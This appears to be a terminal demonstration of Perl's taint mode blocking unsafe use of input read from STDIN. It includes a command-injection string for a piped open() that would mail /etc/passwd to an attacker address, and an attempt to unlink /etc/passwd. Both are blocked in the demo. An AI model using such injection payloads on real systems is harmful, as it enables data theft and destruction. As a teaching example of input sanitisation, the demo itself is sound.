$ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink: $!\n";'      
/etc/passwd
Insecure dependency in unlink while running with -T switch at -e line 1, <STDIN> line 1.
$ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);open( FOO, $foo ) or die "unlink: $!\n";'
mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/null |
Insecure dependency in piped open while running with -T switch at -e line 1, <STDIN> line 1.

##</code><code>##

$ perl -T -le 'print "tty" if -t STDIN'
tty